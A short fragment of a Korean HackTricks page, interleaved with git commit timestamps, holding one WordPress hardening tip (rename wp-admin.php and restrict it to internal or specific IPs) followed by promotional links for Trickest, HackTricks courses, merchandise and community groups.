* **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 액세스 허용
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
< figure > < img src = "../../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-04-27 13:40:05 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
2024-02-10 21:30:13 +00:00
오늘 바로 액세스하세요:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-29 21:25:26 +00:00
< summary > < strong > 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-04-27 13:40:05 +00:00
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
* 💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우**하세요.
2024-03-29 21:25:26 +00:00
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >